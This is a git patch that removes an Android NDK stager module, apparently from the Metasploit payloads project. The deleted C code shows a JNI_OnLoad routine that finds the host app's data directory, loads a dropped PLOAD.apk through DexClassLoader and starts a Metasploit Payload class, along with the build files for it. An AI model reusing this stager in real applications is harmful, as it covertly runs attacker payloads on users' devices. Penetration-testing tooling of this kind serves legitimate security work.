From 73a6dc29ba045f40cbc47361467b1314a8497ff4 Mon Sep 17 00:00:00 2001 From: Tim W Date: Fri, 6 Jul 2018 18:12:52 +0800 Subject: [PATCH] remove ndkstager --- java/androidpayload/ndkstager/jni/Android.mk | 8 -- .../ndkstager/jni/Application.mk | 3 - java/androidpayload/ndkstager/jni/ndkstager.c | 65 ------------ java/androidpayload/ndkstager/pom.xml | 100 ------------------ java/pom.xml | 1 - 5 files changed, 177 deletions(-) delete mode 100644 java/androidpayload/ndkstager/jni/Android.mk delete mode 100644 java/androidpayload/ndkstager/jni/Application.mk delete mode 100644 java/androidpayload/ndkstager/jni/ndkstager.c delete mode 100644 java/androidpayload/ndkstager/pom.xml diff --git a/java/androidpayload/ndkstager/jni/Android.mk b/java/androidpayload/ndkstager/jni/Android.mk deleted file mode 100644 index c6906538..00000000 --- a/java/androidpayload/ndkstager/jni/Android.mk +++ /dev/null @@ -1,8 +0,0 @@ -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_MODULE := ndkstager -LOCAL_SRC_FILES := ndkstager.c - -include $(BUILD_SHARED_LIBRARY) diff --git a/java/androidpayload/ndkstager/jni/Application.mk b/java/androidpayload/ndkstager/jni/Application.mk deleted file mode 100644 index b46738fc..00000000 --- a/java/androidpayload/ndkstager/jni/Application.mk +++ /dev/null @@ -1,3 +0,0 @@ -APP_ABI := armeabi -APP_OPTIM := release - diff --git a/java/androidpayload/ndkstager/jni/ndkstager.c b/java/androidpayload/ndkstager/jni/ndkstager.c deleted file mode 100644 index a37982ca..00000000 --- a/java/androidpayload/ndkstager/jni/ndkstager.c +++ /dev/null @@ -1,65 +0,0 @@ -#include -#include -#include -#include -#include - -#define MAX_PATH 260 - -JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt ) -{ - JNIEnv *env; - - if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) - { - return -1; - } - - char cmdline[MAX_PATH]; - char stage_file[MAX_PATH]; - char file_dir[MAX_PATH]; - snprintf(cmdline, MAX_PATH, "/proc/%d/cmdline", getpid()); - int r = 0; - int fd = open(cmdline, O_RDONLY); - if(fd == 0) { - r = 0; - } else { - r = read(fd, cmdline, MAX_PATH-1); - close(fd); - if(r < 0) r = 0; - } - cmdline[r] = 0; - snprintf(stage_file, MAX_PATH, "/data/data/%s/PLOAD.apk", cmdline); - snprintf(file_dir, MAX_PATH, "/data/data/%s/", cmdline); - - jstring file_path = (*env)->NewStringUTF(env, file_dir); - jstring jar_file = (*env)->NewStringUTF(env, stage_file); - jstring class_file = (*env)->NewStringUTF(env, "com.metasploit.stage.Payload"); - jclass dex_class = (*env)->FindClass(env, "dalvik/system/DexClassLoader"); - jclass class_class = (*env)->FindClass(env, "java/lang/Class"); - jobject class_loader = (*env)->CallObjectMethod(env, class_class, (*env)->GetMethodID(env, class_class, "getClassLoader", "()Ljava/lang/ClassLoader;")); - - // Load the payload apk - jobject dex_loader = (*env)->NewObject(env, dex_class, (*env)->GetMethodID(env, dex_class, "", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V"), - jar_file, file_path, file_path, class_loader); - jclass payload_class = (*env)->CallObjectMethod(env, dex_loader, - (*env)->GetMethodID(env, dex_class, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"), - class_file); - - // Call Payload.startInPath(); - (*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "startInPath", "(Ljava/lang/String;)V"), file_path); - - (*env)->DeleteLocalRef(env, jar_file); - (*env)->DeleteLocalRef(env, file_path); - (*env)->DeleteLocalRef(env, class_file); - (*env)->DeleteLocalRef(env, dex_class); - (*env)->DeleteLocalRef(env, class_class); - (*env)->DeleteLocalRef(env, payload_class); - - return JNI_VERSION_1_4; -} - -JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt ) -{ -} - diff --git a/java/androidpayload/ndkstager/pom.xml b/java/androidpayload/ndkstager/pom.xml deleted file mode 100644 index 959b3d30..00000000 --- a/java/androidpayload/ndkstager/pom.xml +++ /dev/null @@ -1,100 +0,0 @@ - - - 4.0.0 - com.metasploit - Metasploit-AndroidNDKStager - 1-SNAPSHOT - Android NDK Stager - - - ../../metasploit-framework - - - - com.google.android - android - 2.3.3 - provided - - - - ${project.artifactId} - src - - - - maven-antrun-plugin - 1.7 - - - org.codehaus.mojo - exec-maven-plugin - 1.2.1 - - - - - - - org.apache.maven.plugins - maven-jar-plugin - 2.4 - - - default-jar - - - - - - - org.codehaus.mojo - exec-maven-plugin - 1.2.1 - - ${android.ndk.path}/ndk-build - - APP_ABI=armeabi mips x86 - - - - - package - - exec - - - - - - - - - - deploy - - - - maven-antrun-plugin - 1.7 - - - package - - run - - - - - - - - - - - - - - - - diff --git a/java/pom.xml b/java/pom.xml index eb8e091f..d5bbf1bb 100644 --- a/java/pom.xml +++ b/java/pom.xml @@ -60,7 +60,6 @@ androidpayload/app androidpayload/library - androidpayload/ndkstager